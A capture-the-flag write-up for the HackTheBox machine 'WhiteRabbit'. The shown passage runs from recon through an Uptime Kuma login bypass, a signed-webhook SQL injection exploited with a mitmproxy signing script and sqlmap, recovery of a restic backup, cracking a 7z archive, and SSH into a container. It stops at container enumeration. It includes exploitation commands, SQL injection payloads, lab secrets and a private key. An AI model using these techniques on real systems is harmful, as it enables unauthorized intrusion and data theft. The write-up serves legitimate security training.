WhiteRabbit

WhiteRabbit is a pentesting company. I’ll exploit their Uptime Kuma instance to find the domain for their WikiJS wiki. On that I’ll find documentation for a n8n pipeline, and find an SQL injection vulnerability in how it processes email, as well as the key for crafting signatures. I’ll make a proxy to add signatures using mitmproxy and then use sqlmap to dump the database. In the DB I’ll find restic commands, which I’ll use to get a backup with SSH keys. I’ll abuse restic command injection to get root on a container, and find SSH keys for a user on the host. From there I’ll find a custom password generator, and using logs from the DB that leak the time the command was run, generate the right password for the next user. That user can run any command as root.

Box Info

Name WhiteRabbit WhiteRabbit
Play on HackTheBox
Release Date 05 Apr 2025
Retire Date 13 Dec 2025
OS Linux Linux
Base Points Insane [50]
Rated Difficulty Rated difficulty for WhiteRabbit
Radar Graph Radar chart for WhiteRabbit
First Blood User 01:09:36ar0x
First Blood Root 01:48:56Ap4sh
Creator FLX0x00

Recon

Initial Scanning

nmap finds three open TCP ports, SSH (22, 2222) and HTTP (80):

oxdf@hacky$ nmap -p- -vvv --min-rate 10000 10.10.11.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-22 18:05 UTC
...[snip]...
Nmap scan report for 10.10.11.63
Host is up, received echo-reply ttl 63 (0.024s latency).
Scanned at 2025-11-22 18:05:24 UTC for 6s
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE      REASON
22/tcp   open  ssh          syn-ack ttl 63
80/tcp   open  http         syn-ack ttl 62
2222/tcp open  EtherNetIP-1 syn-ack ttl 62

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 6.59 seconds
           Raw packets sent: 65801 (2.895MB) | Rcvd: 65536 (2.621MB)
oxdf@hacky$ nmap -p 22,80,2222 -sCV 10.10.11.63
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-11-22 18:05 UTC
Nmap scan report for 10.10.11.63
Host is up (0.023s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 0f:b0:5e:9f:85:81:c6:ce:fa:f4:97:c2:99:c5:db:b3 (ECDSA)
|_  256 a9:19:c3:55:fe:6a:9a:1b:83:8f:9d:21:0a:08:95:47 (ED25519)
80/tcp   open  http    Caddy httpd
|_http-server-header: Caddy
|_http-title: Did not follow redirect to http://whiterabbit.htb
2222/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 c8:28:4c:7a:6f:25:7b:58:76:65:d8:2e:d1:eb:4a:26 (ECDSA)
|_  256 ad:42:c0:28:77:dd:06:bd:19:62:d8:17:30:11:3c:87 (ED25519)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.71 seconds

There’s one additional hop to get to the webserver and SSH on 2222:

oxdf@hacky$ sudo lft 10.10.11.63:22
Tracing ...T
TTL LFT trace to 10.10.11.63:22/tcp
 1  10.10.14.1 21.7ms
 2  [target open] 10.10.11.63:22 21.9ms
oxdf@hacky$ sudo lft 10.10.11.63:80
Tracing .....T
TTL LFT trace to 10.10.11.63:80/tcp
 1  10.10.14.1 22.4ms
 2  10.10.11.63 22.2ms
 3  [target open] 10.10.11.63:80 22.5ms
 oxdf@hacky$ sudo lft 10.10.11.63:2222
Tracing ....T
TTL LFT trace to 10.10.11.63:2222/tcp
 1  10.10.14.1 21.9ms
 2  10.10.11.63 21.9ms
 3  [target open] 10.10.11.63:2222 21.7ms

That implies a container or VM with the webserver and a second SSH. All of the ports show a TTL of 63 or 62, which matches the expected TTL for Linux one or two hops away.

Based on the OpenSSH versions both the host and container are likely running Ubuntu 24.04 noble LTS.

The website is redirecting to whiterabbit.htb. It’s also running the Caddy as a webserver. Caddy is a Go webserver which is much less common than Apache or nginx, but still used in the real world.

Subdomain Brute Force

Given the use of virtual host routing on the webserver, I’ll use ffuf to brute force for any subdomains that respond differently than the default case:

oxdf@hacky$ ffuf -u http://10.10.11.63 -H "Host: FUZZ.whiterabbit.htb" -w /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -ac

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://10.10.11.63
 :: Wordlist         : FUZZ: /opt/SecLists/Discovery/DNS/subdomains-top1million-20000.txt
 :: Header           : Host: FUZZ.whiterabbit.htb
 :: Follow redirects : false
 :: Calibration      : true
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

status                  [Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 29ms]
:: Progress: [19966/19966] :: Job [1/1] :: 1769 req/sec :: Duration: [0:00:11] :: Errors: 0 ::

It finds status. I’ll add that and the base domain to my /etc/hosts file:

10.10.11.63     whiterabbit.htb status.whiterabbit.htb

whiterabbit.htb - TCP 80

Site

The site is for a pentesting company:

image-20251122061204503 expand

All of the links lead to other anchors on the page. They mention use of n8n for automation, GoPhish and Stalwart for phishing, and Uptime Kuma for infrastructure monitoring.

Tech Stack

The HTTP response headers don’t show anything interesting beyond the Caddy server:

HTTP/1.1 200 OK
Accept-Ranges: bytes
Content-Length: 6109
Content-Type: text/html; charset=utf-8
Etag: "d3ti25l7iyi04pp"
Last-Modified: Fri, 30 Aug 2024 19:40:12 GMT
Server: Caddy
Vary: Accept-Encoding
Date: Sat, 22 Nov 2025 11:11:32 GMT

The index page loads as /index.html, suggesting a static site.

Directory Brute Force

I’ll run feroxbuster against the site, and include -x html since the main page is:

oxdf@hacky$ feroxbuster -u http://whiterabbit.htb -x html

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://whiterabbit.htb
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 💲  Extensions            │ [html]
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET        0l        0w        0c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET      116l      510w     6109c http://whiterabbit.htb/index.html
200      GET     3160l    17841w  1426261c http://whiterabbit.htb/phish.png
200      GET     3066l    17141w  1391904c http://whiterabbit.htb/uptime.png
200      GET     3683l    20644w  1621908c http://whiterabbit.htb/n8n.png
200      GET      116l      510w     6109c http://whiterabbit.htb/
[####################] - 28s    30003/30003   0s      found:5       errors:0      
[####################] - 28s    30000/30000   1082/s  http://whiterabbit.htb/

Nothing at all.

status.whiterabbit.htb - TCP 80

Site

This website is an instance of Uptime Kuma (as mentioned on the main page):

image-20251122061641771

It just presents a login page.

Tech Stack

I can’t find the version of Uptime Kuma anywhere on the page (at least before logging in). The HTTP response headers just show Caddy as well:

HTTP/1.1 302 Found
Content-Length: 64
Content-Type: text/html; charset=utf-8
Date: Mon, 08 Dec 2025 13:42:55 GMT
Location: /dashboard
Server: Caddy
Vary: Accept
X-Frame-Options: SAMEORIGIN

My guess at this point is that Caddy is running on the host, proxying port 80 to a Uptime Kuma container.

Uptime Kuma is using Socket.IO for communication between the client and the server:

image-20251122063243340

This is a common framework for setting up websockets in JavaScript.

Demo

Rather than brute force paths on an open source product, I’ll check out the documentation a bit, and find Uptime Kuma has a nice demo page. I can create an account and a temporary instance and play around with it. Interesting, there are no endpoints used in the demo, but rather, everything is just managed over websocket and JavaScript.

Shell as bob on Container

Identify Additional Subdomains

Uptime Kuma Login Bypass

When I try to login to Uptime Kuma, it shows an error message:

image-20251122063345588

Looking in Burp, it doesn’t show any POST request with this login data. Rather, it shows up in a websocket message:

image-20251122063429066

The response shows that the login failed:

image-20251122063448858

I’ll turn on Intercept in Burp and login again. I’ll forward the message with my bad creds, but catch the response and change false to true:

image-20251122063920818

On forwarding that, the logged in page loads:

image-20251122063931502

If I turn Intercept off, the page barely works, and quickly identifies that I’m not logged in and presents the login form. However, if I leave intercept enabled, it effectively blocks all websocket comms. I’m able click around a bit and interact with the site, though anything that requires websocket data don’t work. After 30 seconds or so, a red banner will appear across the top of the page:

image-20251122064909090

As soon as I turn Intercept off, the websockets resume communication with the server and I’m back at the login screen.

Version

A lot of the settings show up very sparse, either failing to populate because of the blocked websocket or just not configured for this site. There are no API keys configured. There’s a Backup page, but without the websocket I can’t make use of it.

On Settings > About it does give the version:

image-20251122064253889

It’s version 1.23.13. I’ll look for CVEs, and most interestingly find CVE-2024-56331, am authenticated LFI vulnerability, but I won’t end up needing it here.

Monitors / Status Pages

Uptime Kuma has the concept of both monitors and status pages. Monitors are the core component that are configured to track a service or website. Status pages are public-facing dashboards meant to present data from one or more monitors.

It doesn’t show any monitors:

image-20251122065522830

I suspect that’s because that site would be requesting this data over the currently-blocked websocket. Trying to view the Status Pages just hangs (again, probably due to the blocked websocket):

image-20251122065632867

If I click on “New Status Page” there’s a form:

image-20251122065658347

It takes a name, and a string to fill out the url /status/[page].

Status Page Brute Force

Status pages are meant to be publicly accessible, so I’ll run feroxbuster to look for any on WhiteRabbit:

oxdf@hacky$ feroxbuster -u http://status.whiterabbit.htb/status 

 ___  ___  __   __     __      __         __   ___
|__  |__  |__) |__) | /  `    /  \ \_/ | |  \ |__
|    |___ |  \ |  \ | \__,    \__/ / \ | |__/ |___
by Ben "epi" Risher 🤓                 ver: 2.11.0
───────────────────────────┬──────────────────────
 🎯  Target Url            │ http://status.whiterabbit.htb/status
 🚀  Threads               │ 50
 📖  Wordlist              │ /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt
 👌  Status Codes          │ All Status Codes!
 💥  Timeout (secs)        │ 7
 🦡  User-Agent            │ feroxbuster/2.11.0
 🔎  Extract Links         │ true
 🏁  HTTP methods          │ [GET]
 🔃  Recursion Depth       │ 4
 🎉  New Version Available │ https://github.com/epi052/feroxbuster/releases/latest
───────────────────────────┴──────────────────────
 🏁  Press [ENTER] to use the Scan Management Menu™
──────────────────────────────────────────────────
404      GET       38l      143w     2444c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter
200      GET       41l      152w     3359c http://status.whiterabbit.htb/status/temp
[####################] - 3m     30011/30011   0s      found:1       errors:0      
[####################] - 3m     30000/30000   147/s   http://status.whiterabbit.htb/status/ 

It finds /status/temp! This page shows four monitors:

image-20251122070714983

It also leaks two new domains:

  • GoPhish on ddb09a8558c9.whiterabbit.htb
  • WikiJS on a668910b5514e.whiterabbit.htb

I’ll add both to my hosts file. The GoPhish page just presents a login page for which I don’t have creds.

SQL Injection

WikiJS Documentation

The WikiJS domain is a wiki:

image-20251122091240159

The main page has a note about needing to add auth to this page. “Browse” shows two pages:

image-20251122091316157

The other page is all about the phishing automations in place:

image-20251122091345458 expand

The diagram and text describes a flow in n8n:

  • GoPhish sends a POST request to n8n with the event data such as the campaign id, email, and type of action.
  • The next four stages involve getting the signature from the POST request and making sure it matches the signature of the data.
  • The there’s a DB query to get the current phishing score.
    • On error, there’s a “DEBUG: REMOVE SOON” endpoint.
  • Then it updates the phishing score in the database based on the data.

The page provides an example POST request:

POST /webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d HTTP/1.1
Host: 28efa8f7df.whiterabbit.htb
x-gophish-signature: sha256=cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd
Accept: */*
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/json
Content-Length: 81

{
  "campaign_id": 1,
  "email": "test@ex.com",
  "message": "Clicked Link"
}

28efa8f7df.whiterabbit.htb must be the n8n hostname.

There’s also a JSON file that represents an export of the n8n flow. This gives details of how each stage works, most importantly, how the signature is generated:

oxdf@hacky$ cat gophish_to_phishing_score_database.json | jq '.nodes[] | select(.name == "Calculate the signature")'
{
  "parameters": {
    "action": "hmac",
    "type": "SHA256",
    "value": "={{ JSON.stringify($json.body) }}",
    "dataPropertyName": "calculated_signature",
    "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
  },
  "id": "e406828a-0d97-44b8-8798-6d066c4a4159",
  "name": "Calculate the signature",
  "type": "n8n-nodes-base.crypto",
  "typeVersion": 1,
  "position": [
    860,
    340
  ]
}

It’s a SHA256 HMAC with the secret “3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS”.

Recreate Signature

If I take the example request and put it in Burp Repeater, it works in the sense that the signature is not rejected:

image-20251122102025598

If I change the data (for example the campaign_id from 1 to 2), it rejects because of the signature:

image-20251122102107939

If I change it back to 1, but mess with whitespace, it still works:

image-20251122102153332

That’s because the n8n step is running the body through JSON.stringify here before calculating the HMAC:

  "parameters": {
    "action": "hmac",
    "type": "SHA256",
    "value": "={{ JSON.stringify($json.body) }}",
    "dataPropertyName": "calculated_signature",
    "secret": "3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"
  },

That effectively removes all whitespace:

image-20251122102324004

In CyberChef, the “JSON Minify” operation will achieve this:

image-20251122102516065

That makes the same signature as the example that’s accepted.

In Python, I can get this using the separators argument to the json.dumps function:

>>> data = {
...   "campaign_id": 1,
...   "email": "test@ex.com",
...   "message": "Clicked Link"
... }
>>> json.dumps(data, separators=(',',':'))
'{"campaign_id":1,"email":"test@ex.com","message":"Clicked Link"}'

By default the separators are ‘, ‘ and ‘: ‘ (with a space after each):

>>> json.dumps(data)
'{"campaign_id": 1, "email": "test@ex.com", "message": "Clicked Link"}'

I can calc the signature in Python as well:

>>> import hmac
>>> import hashlib
>>> hmac.new("3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS".encode(), json.dumps(data, separators=(',',':')).encode(), hashlib.sha256).hexdigest()
'cf4651463d8bc629b9b411c58480af5a9968ba05fca83efa03a21b2cecd1c2dd'

To prove I can send arbitrary requests, I’ll calculate a new signature for the email address “0xdf@ex.com”:

image-20251122103338685

No signature error:

image-20251122103410505

Identify SQL Injection

The response there is the error message from the “Get current phishing score” n8n node:

{
  "parameters": {
    "operation": "executeQuery",
    "query": "SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1",
    "options": {}
  },
  "id": "5929bf85-d38b-4fdd-ae76-f0a61e2cef55",
  "name": "Get current phishing score",
  "type": "n8n-nodes-base.mySql",
  "typeVersion": 2.4,
  "position": [
    1380,
    260
  ],
  "alwaysOutputData": true,
  "retryOnFail": false,
  "executeOnce": false,
  "notesInFlow": false,
  "credentials": {
    "mySql": {
      "id": "qEqs6Hx9HRmSTg5v",
      "name": "mariadb - phishing"
    }
  },
  "onError": "continueErrorOutput"
}

The SQL query is run with user input in a template:

SELECT * FROM victims where email = \"{{ $json.body.email }}\" LIMIT 1

This is likely vulnerable to SQL injection.

SQLI POC

To test for SQLI, I’ll try sending an email ending with double quote to crash the query. Typically I wouldn’t see that kind of crash, but this pipeline is configure such that if it fails, it sends the results to “DEBUG: REMOVE SOON”:

    "Get current phishing score": {
      "main": [
        [
          {
            "node": "check if user exists in database",
            "type": "main",
            "index": 0
          }
        ],
        [
          {
            "node": "DEBUG: REMOVE SOON",
            "type": "main",
            "index": 0
          }
        ]
      ]
    },

That node sends the error message back in a response to the webhook:

{
  "parameters": {
    "respondWith": "text",
    "responseBody": "={{ $json.message }} | {{ JSON.stringify($json.error)}}",
    "options": {}
  },
  "id": "d3f8446a-81af-4e5a-894e-e0eab0596364",
  "name": "DEBUG: REMOVE SOON",
  "type": "n8n-nodes-base.respondToWebhook",
  "typeVersion": 1.1,
  "position": [
    1620,
    20
  ]
},

I’ll calculate the signature:

image-20251122111116517

And send it:

image-20251122111146130

Because of how it’s set up, it’s a 200 response, but it’s definitely a crash message. I can see the two doublequotes after the email address in the query output at the top of the message.

sqlmap

To use sqlmap to exploit this, I’ll need a way to add the signature to each request being sent. I’ll use mitmproxy, a neat Python-based proxy tool. I’ll create a simple Python script, signature_proxy.py:

#!/usr/bin/env python3

import hmac
import hashlib
import json
from mitmproxy import http

SECRET = b"3CWVGMndgMvdVAzOjqBiTicmv7gxc6IS"

def request(flow: http.HTTPFlow) -> None:
    if flow.request.content:
        try:
            data = json.loads(flow.request.content)
            body = json.dumps(data, separators=(',', ':')).encode()
        except json.JSONDecodeError:
            body = flow.request.content

        signature = hmac.new(SECRET, body, hashlib.sha256).hexdigest()
        flow.request.headers["x-gophish-signature"] = f"sha256={signature}"

It says for each request, if there is content, get that content, generate the signature, and add it as a header. I’ll run this with mitmproxy -s signature_proxy.py -p 8888 --mode regular, which tells mitmproxy to use the script I just wrote, listening on port 8888. It opens a window that shows the various requests coming through it:

image-20251122222648018

Now I’ll run sqlmap with the following options:

  • -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" - the URL to target
  • --proxy=http://127.0.0.1:8888 - the listening mitmproxy
  • --method=POST - it’s a POST request
  • --data='{"campaign_id":1,"email":"test","message":"Clicked Link"}' - the legit data to send
  • --headers="Content-Type: application/json" - the Content-Type header necessary for the JSON data to be processed by the server
  • -p email - point out that the email field is what’s injectable
  • --dbms mysql - let sqlmap know the backend DB
  • --batch - automatically answer questions with the default

It finds the injection:

oxdf@hacky$ sqlmap -u "http://28efa8f7df.whiterabbit.htb/webhook/d96af3a4-21bd-4bcb-bd34-37bfc67dfd1d" --proxy=http://127.0.0.1:8888 --method=POST --data='{"campaign_id":1,"email":"test","message":"Clicked Link"}' --headers="Content-Type: application/json" -p email --dbms mysql  --batch --flush-session
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.9.9.1#dev}
|_ -| . [)]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

...[snip]...
sqlmap identified the following injection point(s) with a total of 601 HTTP(s) requests:
---
Parameter: JSON email ((custom) POST)
    Type: boolean-based blind
    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause
    Payload: {"campaign_id":1,"email":"test" RLIKE (SELECT (CASE WHEN (4653=4653) THEN 0x74657374 ELSE 0x28 END))-- tTvq","message":"Clicked Link"}

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: {"campaign_id":1,"email":"test" AND (SELECT 3184 FROM(SELECT COUNT(*),CONCAT(0x717a786271,(SELECT (ELT(3184=3184,1))),0x71717a6a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- Lkre","message":"Clicked Link"}

    Type: stacked queries
    Title: MySQL >= 5.0.12 stacked queries (comment)
    Payload: {"campaign_id":1,"email":"test";SELECT SLEEP(5)#","message":"Clicked Link"}

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: {"campaign_id":1,"email":"test" AND (SELECT 8805 FROM (SELECT(SLEEP(5)))yhAB)-- SiMq","message":"Clicked Link"}
---
[10:25:47] [INFO] the back-end DBMS is MySQL
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
...[snip]...

I’ll add --dbs to list the DBs, which results in:

available databases [3]:
[*] information_schema
[*] phishing
[*] temp

phishing DB

I’ll replace --dbs with -D phishing --tables to list the tables in the phishing DB:

Database: phishing
[1 table]
+---------+
| victims |
+---------+

I’ll replace --tables with -T victims --dump to get the list:

Database: phishing
Table: victims
[30 entries]
+--------------------+----------------+
| email              | phishing_score |
+--------------------+----------------+
| test1@example.com  | 20             |
| test10@example.com | 100            |
| test11@example.com | 110            |
| test12@example.com | 120            |
| test13@example.com | 130            |
| test14@example.com | 140            |
| test15@example.com | 150            |
| test16@example.com | 160            |
| test17@example.com | 170            |
| test18@example.com | 180            |
| test19@example.com | 190            |
| test2@example.com  | 20             |
| test20@example.com | 200            |
| test21@example.com | 210            |
| test22@example.com | 220            |
| test23@example.com | 230            |
| test24@example.com | 240            |
| test25@example.com | 250            |
| test26@example.com | 260            |
| test27@example.com | 270            |
| test28@example.com | 280            |
| test29@example.com | 290            |
| test3@example.com  | 30             |
| test30@example.com | 300            |
| test4@example.com  | 40             |
| test5@example.com  | 50             |
| test6@example.com  | 8270           |
| test7@example.com  | 70             |
| test8@example.com  | 80             |
| test9@example.com  | 90             |
+--------------------+----------------+

temp DB

I’ll switch over to -D temp --tables to list the tables in the temp DB:

Database: temp
[1 table]
+-------------+
| command_log |
+-------------+

I’ll dump this table as well:

Database: temp
Table: command_log
[6 entries]
+----+---------------------+------------------------------------------------------------------------------+
| id | date                | command                                                                      |
+----+---------------------+------------------------------------------------------------------------------+
| 1  | 2024-08-30 10:44:01 | uname -a                                                                     |
| 2  | 2024-08-30 11:58:05 | restic init --repo rest:http://75951e6ff.whiterabbit.htb                     |
| 3  | 2024-08-30 11:58:36 | echo ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw > .restic_passwd                       |
| 4  | 2024-08-30 11:59:02 | rm -rf .bash_history                                                         |
| 5  | 2024-08-30 11:59:47 | #thatwasclose                                                                |
| 6  | 2024-08-30 14:40:42 | cd /home/neo/ && /opt/neo-password-generator/neo-password-generator | passwd |
+----+---------------------+------------------------------------------------------------------------------+

There are six commands. 2 is a restic backup command with another domain, 75951e6ff.whiterabbit.htb. 3 saves a password to .restic_passwd. 6 changes the executing user’s password (presumably the neo user). I’ll come back to row 6 later.

Restic Backup

Recover Backup

I recently dealt with Backrest, a GUI wrapper around restic, in Artificial. Here I have access to only raw restic. I’ll use the client (sudo apt install restic) to list the snapshots available:

oxdf@hacky$ RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb snapshots
repository 5b26a938 opened (version 2, compression level auto)
ID        Time                 Host         Tags        Paths
------------------------------------------------------------------------
272cacd5  2025-03-07 00:18:40  whiterabbit              /dev/shm/bob/ssh
------------------------------------------------------------------------
1 snapshots

I’ll restore the files from that snapshot to a directory on my filesystem:

oxdf@hacky$ RESTIC_PASSWORD=ygcsvCuMdfZ89yaRLlTKhe5jAmth7vxw restic -r rest:http://75951e6ff.whiterabbit.htb restore 272cacd5 --target ./restic/
repository 5b26a938 opened (version 2, compression level auto)
[0:00] 100.00%  5 / 5 index files loaded
restoring <Snapshot 272cacd5 of [/dev/shm/bob/ssh] at 2025-03-06 17:18:40.024074307 -0700 -0700 by ctrlzero@whiterabbit> to ./restic/
Summary: Restored 5 files/dirs (572 B) in 0:00

There’s only one file, which has SSH keys:

oxdf@hacky$ find restic/ -type f 
restic/dev/shm/bob/ssh/bob.7z
oxdf@hacky$ 7z l restic/dev/shm/bob/ssh/bob.7z 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 572 bytes (1 KiB)

Listing archive: restic/dev/shm/bob/ssh/bob.7z

--
Path = restic/dev/shm/bob/ssh/bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1

   Date      Time    Attr         Size   Compressed  Name
------------------- ----- ------------ ------------  ------------------------
2025-03-07 00:10:35 ....A          399          368  bob
2025-03-07 00:10:35 ....A           91               bob.pub
2025-03-07 00:11:05 ....A           67               config
------------------- ----- ------------ ------------  ------------------------
2025-03-07 00:11:05                557          368  3 files

Crack 7z

I’ll use 7z2john.pl from the John The Ripper project to make a hash for this archive:

oxdf@hacky$ /opt/john/run/7z2john.pl restic/dev/shm/bob/ssh/bob.7z | tee bob.7z.hash
ATTENTION: the hashes might contain sensitive encrypted data. Be careful when sharing or posting these hashes
bob.7z:$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00

I’ll pass that to hashcat:

$ hashcat bob.7z.hash /opt/SecLists/Passwords/Leaked-Databases/rockyou.txt --user
hashcat (v7.1.2) starting in autodetect mode
...[snip]...
Hash-mode was not specified with -m. Attempting to auto-detect hash mode.
The following mode was auto-detected as the only one matching your input hash:

11600 | 7-Zip | Archive
...[snip]...
$7z$2$19$0$$8$61d81f6f9997419d0000000000000000$4049814156$368$365$7295a784b0a8cfa7d2b0a8a6f88b961c8351682f167ab77e7be565972b82576e7b5ddd25db30eb27137078668756bf9dff5ca3a39ca4d9c7f264c19a58981981486a4ebb4a682f87620084c35abb66ac98f46fd691f6b7125ed87d58e3a37497942c3c6d956385483179536566502e598df3f63959cf16ea2d182f43213d73feff67bcb14a64e2ecf61f956e53e46b17d4e4bc06f536d43126eb4efd1f529a2227ada8ea6e15dc5be271d60360ff5c816599f0962fc742174ff377e200250b835898263d997d4ea3ed6c3fc21f64f5e54f263ebb464e809f9acf75950db488230514ee6ed92bd886d0a9303bc535ca844d2d2f45532486256fbdc1f606cca1a4680d75fa058e82d89fd3911756d530f621e801d73333a0f8419bd403350be99740603dedff4c35937b62a1668b5072d6454aad98ff491cb7b163278f8df3dd1e64bed2dac9417ca3edec072fb9ac0662a13d132d7aa93ff58592703ec5a556be2c0f0c5a3861a32f221dcb36ff3cd713$399$00:1q2w3e4r5t6y
...[snip]...

It cracks to a keyboard walk, “1q2w3e4r5t6y”.

SSH

Now I can decompress the archive:

oxdf@hacky$ 7z x restic/dev/shm/bob/ssh/bob.7z 

7-Zip 23.01 (x64) : Copyright (c) 1999-2023 Igor Pavlov : 2023-06-20
 64-bit locale=en_US.UTF-8 Threads:12 OPEN_MAX:1024

Scanning the drive for archives:
1 file, 572 bytes (1 KiB)

Extracting archive: restic/dev/shm/bob/ssh/bob.7z
--
Path = restic/dev/shm/bob/ssh/bob.7z
Type = 7z
Physical Size = 572
Headers Size = 204
Method = LZMA2:12 7zAES
Solid = +
Blocks = 1

    
Enter password (will not be echoed):
Everything is Ok

Files: 3
Size:       557
Compressed: 572

The three files are as expected:

oxdf@hacky$ cat bob.pub 
ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIG8NNTJHAXhD4DaKbE4OdjyEFMQae80HRLa9ouGYdkLj root@lucy
oxdf@hacky$ cat bob
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4wAAAJAQ+wJXEPsC
VwAAAAtzc2gtZWQyNTUxOQAAACBvDTUyRwF4Q+A2imxODnY8hBTEGnvNB0S2vaLhmHZC4w
AAAEBqLjKHrTqpjh/AqiRB07yEqcbH/uZA5qh8c0P72+kSNW8NNTJHAXhD4DaKbE4OdjyE
FMQae80HRLa9ouGYdkLjAAAACXJvb3RAbHVjeQECAwQ=
-----END OPENSSH PRIVATE KEY-----
oxdf@hacky$ cat config 
Host whiterabbit
  HostName whiterabbit.htb
  Port 2222
  User bob

It’s a bit weird that the comment is “root@lucy”, but given the config, it seems a good idea to try on port 2222 of WhiteRabbit:

oxdf@hacky$ ssh -i bob -p 2222 bob@whiterabbit.htb
Warning: Permanently added '[whiterabbit.htb]:2222' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04 LTS (GNU/Linux 6.8.0-57-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Last login: Mon Mar 24 15:40:49 2025 from 10.10.14.62
bob@ebdce80611e9:~$ 

It works!

Shell as root on Container

Enumeration

It’s clear that this is in a Docker container, matching what I observed with TTLs from nmap. The hostname is a standard Docker random hex characters, and there’s a .dockerenv file at the system root. Tools like ifconfig, ip, netstat, and ss are not installed. The IP address is 172.17.0.2:

bob@ebdce80611e9:~$ cat /proc/net/fib_trie
Main:
  +-- 0.0.0.0/0 3 0 5
     |-- 0.0.0.0
        /0 universe UNICAST
     +-- 127.0.0.0/8 2 0 2
        +-- 127.0.0.0/31 1 0 0
           |-- 127.0.0.0
              /8 host LOCAL
